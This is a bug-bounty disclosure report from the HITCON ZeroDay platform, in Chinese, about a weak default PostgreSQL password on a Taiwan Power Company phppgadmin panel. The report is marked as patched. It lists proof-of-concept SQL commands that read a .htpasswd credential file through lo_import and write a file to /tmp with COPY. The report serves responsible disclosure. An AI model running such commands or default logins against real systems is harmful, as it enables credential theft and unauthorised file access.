Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00182
- Vendor: 台灣電力公司
- Title: [Bounty] 台灣電力公司 從弱密碼到讀寫系統檔案
- Introduction: 從弱密碼到讀寫系統檔案
處理狀態
目前狀態
公開
Last Update : 2022/04/04
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2022/03/02 03:13:55 : 新提交 (由 ccoozzyy 更新此狀態)
- 2022/03/07 23:50:22 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/08 16:49:28 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/08 16:52:23 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/31 16:46:33 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/31 22:24:44 : 確認已修補 (由 ccoozzyy 更新此狀態)
- 2022/04/04 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00182
- 通報者:ccoozzyy (ccoozzyy)
- 風險:高
- 類型:弱密碼 (Weak Passwords)
參考資料
使用預設密碼或過於簡單之密碼,可經由該問題取得後台完整權限,且容易造成大量資訊外洩。
OWASP Top 10 - 2017 A2 - Broken_Authentication
https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication
CWE-521: Weak Password Requirements
https://cwe.mitre.org/data/definitions/521.html
HOW SECURE IS MY PASSWORD?
https://howsecureismypassword.net/
OWASP Top 10 - 2017 A2 - Broken_Authentication
https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication
CWE-521: Weak Password Requirements
https://cwe.mitre.org/data/definitions/521.html
HOW SECURE IS MY PASSWORD?
https://howsecureismypassword.net/
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://rrd.taipower.com.tw/phppgadmin/
敘述
-
透過弱密碼 postgres / postgres 將可登入 phppgadmin 資料庫後台。
-
分別執行下列指令,可讀取系統檔案,從中發現機敏資訊。
select lo_import('/var/www/html/.htpasswd')
select loid, pageno, encode(data, 'escape') from pg_largeobject -
分別執行下列指令,可寫入檔案。
DROP TABLE pwn
CREATE TABLE pwn (t TEXT)
INSERT INTO pwn(t) VALUES ('bug bounty write file')
COPY pwn(t) TO '/tmp/bugbountypwn.txt' -
再次讀檔,確認已寫入。
select lo_import('/tmp/bugbountypwn.txt')
select loid, pageno, encode(data, 'escape') from pg_largeobject
修補建議
使用高強度的密碼策略。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。